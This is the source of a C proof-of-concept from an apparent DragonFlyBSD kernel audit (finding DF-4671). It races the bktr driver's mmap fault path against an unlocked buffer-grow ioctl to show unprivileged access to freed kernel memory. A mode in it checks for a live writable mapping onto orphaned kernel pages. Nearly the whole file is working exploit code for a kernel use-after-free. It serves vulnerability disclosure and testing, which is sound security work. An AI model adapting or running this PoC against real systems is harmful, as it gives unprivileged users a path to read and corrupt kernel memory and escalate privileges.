⬢ DragonFlyBSD Kernel Audit
DF-4671 / poc_race.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
/*
 * poc_race.c -- DF-4671: bktr_mmap fault-time d_mmap query races the
 * unlocked METEORSETGEO grow block (kmem_free(old) -> bigbuf=new, no lock).
 *
 * CRITICAL DESIGN CONSTRAINT (empirically established with --seqcheck on
 * this kernel): the old-style device pager caches one fake page per
 * (cdev, pindex) for the cdev's LIFETIME -- later faults of an
 * already-faulted pindex are served from the cache WITHOUT re-querying
 * d_mmap.  Therefore a genuine fault-time d_mmap re-execution only
 * happens on the FIRST fault of a pindex never faulted before on this
 * cdev.  The rig recycles the cdev on every RIG_INIT (fresh pager
 * object), and this PoC only ever faults pindexes that were never
 * faulted before on the current cdev:
 *
 *   1. RIG_INIT(N)   -- fresh cdev, fresh bzero'd N-page buffer [root]
 *   2. map group 0 (pages [0,8)), write markers {MAGIC, gen, .., nonce};
 *      the marker WRITE consumes (caches) exactly those 8 pindexes.
 *      Marker gen is sampled AFTER the faults from the kernel's
 *      alloc_pages, so marker.gen >= generation of the page it landed on.
 *   3. grower thread: SETGEO alloc_pages+1 repeatedly (kernel-verified
 *      real grows); every grow kmem_free()s the previous buffer and
 *      reassigns bigbuf -- the unsynchronized window under test.
 *   4. faulter thread: for g = 1, 2, 3, ...: map pages [g*8, g*8+8)
 *      (NEVER-faulted pindexes -> every one of these faults executes
 *      the production bktr_mmap code), snapshot the page contents AT
 *      FAULT, then write fresh markers (gen sampled after faults).
 *
 * CATCH (proof of a dangling resolution): a never-faulted pindex's fault
 * returns a page bearing marker {nonce==run, gen < e0} where e0 =
 * alloc_pages sampled BEFORE the mmap.  Invariant: marker.gen >= the
 * generation of the buffer whose page carries it, so gen < e0 means the
 * page belongs to a buffer that had already been kmem_free'd when the
 * fault ran -- i.e. the fault's vtophys(bigbuf+offset) resolved through
 * the freed (stale-PTE) KVA in the unsynchronized window.
 *
 * Rig path: /dev/bktrig0.  The grow ioctls AND the faults run as an
 * UNPRIVILEGED user.
 *
 * Build: cc -O2 -Wall -pthread -o poc_race poc_race.c
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdatomic.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <dev/video/meteor/ioctl_meteor.h>

#define DEV		"/dev/bktrig0"
#define W		64		/* pages per group (8x marking density) */
#define MAGIC		0xDF4671A5C0DEBAULL
#define INIT_PAGES	256		/* marking density 64/256 = 25% */

struct rig_ctl {
	int32_t		npages;
	uint32_t	pad;
	uint64_t	bigbuf;
	int32_t		alloc_pages;
	int32_t		rc;
	uint64_t	bigbuf_pa;
	uint64_t	probe_off;
	uint64_t	probe_pa;
};
#define	RIG_INIT	_IOWR('Z', 1, struct rig_ctl)
#define	RIG_STATUS	_IOWR('Z', 2, struct rig_ctl)
#define	RIG_PROBE	_IOWR('Z', 4, struct rig_ctl)

static int g_fd = -1;
static int grows_max = 40;		/* grows per run */
static int groups = 120;		/* fresh groups to fault */
static uint64_t run_nonce;
static atomic_int epoch;		/* kernel alloc_pages mirror */
static atomic_int grows_done;
static atomic_int stop;
static atomic_int catches;
static uint64_t first_buf_kva, first_buf_pa;

static int geo_pages(int rows, int cols, int frames)
{
	return (rows * cols * frames * 2 + 4095) / 4096;
}

/* (rows, cols=1022, frames=1) with btcs(rows*cols*frames*2) EXACTLY target
 * (int math in the kernel is ceil: pages = (bytes+4095)/4096; rows=2*T
 * alone loses pages once T > 512 -- that bug made every SETGEO a no-op) */
static void geo_for_target(int target, struct meteor_geomet *g)
{
	int r;

	for (r = 2 * target; r <= 2046; r += 2) {
		if (geo_pages(r, 1022, 1) >= target)
			break;
	}
	g->rows = r;
	g->columns = 1022;
	g->frames = 1;
	g->oformat = 0;
}

static void status_now(struct rig_ctl *rc)
{
	memset(rc, 0, sizeof(*rc));
	ioctl(g_fd, RIG_STATUS, rc);
	if (rc->alloc_pages > atomic_load(&epoch))
		atomic_store(&epoch, rc->alloc_pages);
}

static void *grow_thr(void *arg)
{
	struct meteor_geomet g;
	struct rig_ctl rc;
	int ok = 0, fail = 0;

	while (!atomic_load(&stop) &&
	    atomic_load(&grows_done) < grows_max) {
		int target;

		status_now(&rc);
		target = rc.alloc_pages + 1;	/* strictly larger */
		if (target > 32700)
			break;
		geo_for_target(target, &g);
		if (ioctl(g_fd, METEORSETGEO, &g) == 0) {
			status_now(&rc);
			if (rc.alloc_pages >= target) {
				ok++;
				atomic_fetch_add(&grows_done, 1);
			}
		} else {
			fail++;
			break;
		}
	}
	printf("[grow] %d real grows, %d failed; alloc_pages=%d\n",
	    ok, fail, atomic_load(&epoch));
	atomic_store(&stop, 1);
	return NULL;
}

static void report_catch(int page, uint64_t *m, int e0, int e1, int grp)
{
	struct rig_ctl rc;
	int n;

	n = atomic_fetch_add(&catches, 1) + 1;
	memset(&rc, 0, sizeof(rc));
	rc.probe_off = (uint64_t)page * 4096;
	ioctl(g_fd, RIG_PROBE, &rc);
	printf("*** CATCH #%d group=%d page=%d: marker {magic=%#jx gen=%ju "
	    "iter=%ju page=%ju nonce=%#jx} alloc_pages(before=%d after=%d)\n",
	    n, grp, page, (uintmax_t)m[0], (uintmax_t)m[1], (uintmax_t)m[2],
	    (uintmax_t)m[3], (uintmax_t)m[5], e0, e1);
	printf("    RIG_PROBE now: KVA=0x%llx PA=0x%llx vtophys(KVA+%d)="
	    "0x%llx (B0 was KVA=0x%llx PA=0x%llx)\n",
	    (unsigned long long)rc.bigbuf, (unsigned long long)rc.bigbuf_pa,
	    page * 4096, (unsigned long long)rc.probe_pa,
	    (unsigned long long)first_buf_kva,
	    (unsigned long long)first_buf_pa);
	printf("    nonce match=%d; marker gen %d < pre-fault alloc_pages %d"
	    " => first-fault d_mmap query resolved a page of a buffer freed"
	    " %d grow(s) earlier (dangling KVA)\n",
	    m[5] == run_nonce, (int)m[1], e0, e0 - (int)m[1]);
}

static void *fault_thr(void *arg)
{
	uint64_t vals[W][8];
	struct rig_ctl rcs;
	int e0, e1, ew, g, j, c;
	int nfail = 0;
	void *p;

	setvbuf(stdout, NULL, _IOLBF, 0);
	/* cycle through the rig's 8 cdevs: each has its own device-pager
	 * object -> its own fresh pindex space -> genuine first-fault
	 * d_mmap queries all run long.  cdev0 group 0 is pre-marked by
	 * main(), so start faulter groups at 1 there, 0 elsewhere. */
	c = *(int *)arg;			/* faulter t -> cdevs t, t+4 */
	{
		char path[32];
		int first = 1;

		(void)path; (void)first;
	}
	for (g = 0; g < INIT_PAGES / W && !atomic_load(&stop); g++) {
		char path[32];
		int ffd;
		size_t off = (size_t)g * W * 4096;

		if (g >= INIT_PAGES / W) {
			/* this cdev exhausted: partner cdev, reopen */
			c += 4;
			if (c >= 8)
				break;
			g = -1;
			continue;
		}
		snprintf(path, sizeof(path), "/dev/bktrig%d", c);
		if (c == 0 && g == 0)
			continue;	/* group 0 pre-marked by main() */
		ffd = open(path, O_RDWR);
		if (ffd < 0) {
			printf("[fault] open %s: %s\n", path,
			    strerror(errno));
			break;
		}
		status_now(&rcs);
		e0 = rcs.alloc_pages;

		p = mmap(NULL, (size_t)W * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, ffd, off);
		if (p == MAP_FAILED) {
			if (++nfail > 200) {
				printf("[fault] mmap c%d group %d keeps "
				    "failing: %s (giving up)\n", c, g,
				    strerror(errno));
				close(ffd);
				break;
			}
			if (nfail == 1 || (nfail % 50) == 0)
				printf("[fault] mmap c%d group %d: %s (fail "
				    "#%d)\n", c, g, strerror(errno), nfail);
			sched_yield();
			g--;		/* retry same group */
			close(ffd);
			continue;
		}
		nfail = 0;
		if ((g % 2) == (c == 0))
			printf("[fault] c%d group %d e0=%d\n", c, g, e0);
		/* first faults of these pindexes: each executes the
		 * production bktr_mmap d_mmap path; snapshot at fault */
		for (j = 0; j < W; j++) {
			uint64_t *q = (uint64_t *)((char *)p +
			    (size_t)j * 4096);
			vals[j][0] = q[0];
			vals[j][1] = q[1];
			vals[j][2] = q[2];
			vals[j][3] = q[3];
			vals[j][4] = q[4];
			vals[j][5] = q[5];
		}
		status_now(&rcs);
		e1 = rcs.alloc_pages;

		for (j = 0; j < W; j++) {
			if (vals[j][0] == MAGIC && vals[j][5] == run_nonce &&
			    (int)vals[j][1] < e0)
				report_catch(j, vals[j], e0, e1, g);
		}

		/* fresh markers for later groups; gen sampled AFTER the
		 * faults keeps marker.gen >= generation of these pages */
		ew = rcs.alloc_pages;
		for (j = 0; j < W; j++) {
			uint64_t *q = (uint64_t *)((char *)p +
			    (size_t)j * 4096);
			q[0] = MAGIC;
			q[1] = (uint64_t)(uint32_t)ew;
			q[2] = (uint64_t)(uint32_t)g;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x4646464646464646ULL;
			q[5] = run_nonce;
		}
		munmap(p, (size_t)W * 4096);
		close(ffd);
	}
	printf("[fault] finished at c%d group %d\n", c, g);
	return NULL;
}

int main(int argc, char **argv)
{
	struct rig_ctl rc;
	pthread_t gr, fa;
	uint64_t *q;
	int j, ur;

	/* --init mode (root): attach mirror + cdev recycle */
	if (argc == 2 && strcmp(argv[1], "--init") == 0) {
		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open " DEV); return 2; }
		memset(&rc, 0, sizeof(rc));
		rc.npages = INIT_PAGES;
		if (ioctl(g_fd, RIG_INIT, &rc) != 0) {
			perror("RIG_INIT"); return 3;
		}
		printf("RIG_INIT: bigbuf=0x%llx PA=0x%llx alloc_pages=%d "
		    "(cdev recycled: fresh pager)\n",
		    (unsigned long long)rc.bigbuf,
		    (unsigned long long)rc.bigbuf_pa, rc.alloc_pages);
		return 0;
	}

	/* --seqcheck mode: pager fake-page cache survival, no race */
	if (argc == 2 && strcmp(argv[1], "--seqcheck") == 0) {
		struct meteor_geomet g;
		void *p;
		int found = 0, k;

		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open"); return 2; }
		ur = open("/dev/urandom", O_RDONLY);
		read(ur, &run_nonce, sizeof(run_nonce));
		if (run_nonce == 0) run_nonce = 1;

		memset(&rc, 0, sizeof(rc));
		rc.npages = 64;
		if (ioctl(g_fd, RIG_INIT, &rc) != 0) {
			perror("RIG_INIT"); return 3;
		}
		printf("seqcheck: fresh 64-page buffer\n");
		p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			q[0] = MAGIC; q[1] = 0; q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		munmap(p, 64 * 4096);
		printf("seqcheck: markers written, mapping removed\n");
		for (k = 0; k < 10; k++) {
			status_now(&rc);
			geo_for_target(rc.alloc_pages + 1, &g);
			if (ioctl(g_fd, METEORSETGEO, &g) != 0)
				break;
		}
		status_now(&rc);
		printf("seqcheck: %d sequential grows; alloc_pages=%d\n",
		    k, rc.alloc_pages);
		p = mmap(NULL, 64 * 4096, PROT_READ, MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap2"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			if (q[0] == MAGIC && q[5] == run_nonce)
				found++;
		}
		munmap(p, 64 * 4096);
		printf("seqcheck RESULT: %d/64 pages still show OLD markers "
		    "=> pager fake-page cache %s munmap\n", found,
		    found ? "SURVIVES" : "does not survive");
		return found ? 9 : 0;
	}

	/* --holdcheck: keep ONE RW mapping across N grows (no race at all):
	 * after the grow path kmem_free()s the buffer under it, is the held
	 * mapping still live (orphaned-page alias)? */
	if (argc == 2 && strcmp(argv[1], "--holdcheck") == 0) {
		struct meteor_geomet g;
		struct rig_ctl rcs;
		char *p;
		int k, alive = 0, wperm = 0;

		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open"); return 2; }
		ur = open("/dev/urandom", O_RDONLY);
		read(ur, &run_nonce, sizeof(run_nonce));
		if (run_nonce == 0) run_nonce = 1;
		memset(&rcs, 0, sizeof(rcs));
		rcs.npages = 64;
		if (ioctl(g_fd, RIG_INIT, &rcs) != 0) {
			perror("RIG_INIT"); return 3;
		}
		close(g_fd);
		g_fd = open(DEV, O_RDWR);	/* cdev was recycled */
		if (g_fd < 0) { perror("reopen"); return 2; }
		p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)(p + (size_t)j * 4096);
			q[0] = MAGIC; q[1] = 0; q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		printf("holdcheck: RW mapping held; markers written\n");
		for (k = 0; k < 10; k++) {
			status_now(&rcs);
			geo_for_target(rcs.alloc_pages + 1, &g);
			if (ioctl(g_fd, METEORSETGEO, &g) != 0)
				break;
		}
		status_now(&rcs);
		printf("holdcheck: %d grows; buffer now KVA=0x%llx pages=%d "
		    "(the mapped pages were kmem_free'd)\n", k,
		    (unsigned long long)rcs.bigbuf, rcs.alloc_pages);
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)(p + (size_t)j * 4096);
			if (q[0] == MAGIC && q[5] == run_nonce)
				alive++;
		}
		q = (uint64_t *)(p + 4096);
		q[7] = 0xDEADBEEFCAFE1234ULL;
		__asm __volatile("" ::: "memory");
		if (q[7] == 0xDEADBEEFCAFE1234ULL)
			wperm = 1;
		printf("holdcheck RESULT: %d/64 mapped pages still show old "
		    "markers; mapping %s after the buffer was freed\n",
		    alive, wperm ? "still WRITABLE (live RW alias onto "
		    "orphaned kernel pages)" : "dead");
		return (alive && wperm) ? 0 : 1;
	}

	if (argc > 1)
		grows_max = atoi(argv[1]);
	if (argc > 2)
		groups = atoi(argv[2]);
	if (grows_max < 1 || grows_max > 400) {
		printf("usage: %s [grows_max<=400]\n", argv[0]);
		return 2;
	}

	ur = open("/dev/urandom", O_RDONLY);
	if (ur < 0 || read(ur, &run_nonce, sizeof(run_nonce)) !=
	    (ssize_t)sizeof(run_nonce)) {
		perror("urandom"); return 2;
	}
	if (run_nonce == 0)
		run_nonce = 1;

	g_fd = open(DEV, O_RDWR);
	if (g_fd < 0) { perror("open " DEV); return 2; }
	if (geteuid() == 0) {
		fprintf(stderr, "run me as an UNPRIVILEGED user\n");
		return 2;
	}
	printf("uid=%d euid=%d; nonce=%#jx; %d grows vs %d fresh groups\n",
	    getuid(), geteuid(), (uintmax_t)run_nonce, grows_max, groups);

	status_now(&rc);
	if (rc.alloc_pages != INIT_PAGES) {
		printf("initial buffer must be %d pages (run --init as "
		    "root first); status alloc_pages=%d\n", INIT_PAGES,
		    rc.alloc_pages);
		return 3;
	}
	first_buf_kva = rc.bigbuf;
	first_buf_pa = rc.bigbuf_pa;
	atomic_store(&epoch, rc.alloc_pages);
	printf("buffer0: KVA=0x%llx PA=0x%llx pages=%d\n",
	    (unsigned long long)first_buf_kva,
	    (unsigned long long)first_buf_pa, rc.alloc_pages);

	/* group 0 markers (consumes pindexes [0,8) of this cdev) */
	{
		void *p = mmap(NULL, (size_t)W * 4096,
		    PROT_READ | PROT_WRITE, MAP_SHARED, g_fd, 0);
		int g0;

		if (p == MAP_FAILED) { perror("mmap group0"); return 4; }
		for (j = 0; j < W; j++)
			((volatile char *)p)[j * 4096]; /* fault first */
		status_now(&rc);			/* gen AFTER faults */
		g0 = rc.alloc_pages;
		for (j = 0; j < W; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			q[0] = MAGIC;
			q[1] = (uint64_t)(uint32_t)g0;
			q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		munmap(p, (size_t)W * 4096);
		printf("group0 markers written (gen=%d); starting race\n", g0);
	}

	{
		pthread_t fs[4], gr2;
		int ids[4] = {0, 1, 2, 3};
		int i;

		pthread_create(&gr, NULL, grow_thr, NULL);
		pthread_create(&gr2, NULL, grow_thr, NULL);
		for (i = 0; i < 4; i++)
			pthread_create(&fs[i], NULL, fault_thr, &ids[i]);
		pthread_join(gr, NULL);
		pthread_join(gr2, NULL);
		for (i = 0; i < 4; i++)
			pthread_join(fs[i], NULL);
	}

	status_now(&rc);
	printf("\n== RESULT ==\n");
	printf("final alloc_pages=%d; catches=%d\n", rc.alloc_pages,
	    atomic_load(&catches));
	if (atomic_load(&catches) > 0)
		printf("FAULT-TIME DANGLING-KVA RESOLUTION REPRODUCED\n");
	else
		printf("no dangling resolution caught this run\n");
	return atomic_load(&catches) > 0 ? 0 : 1;
}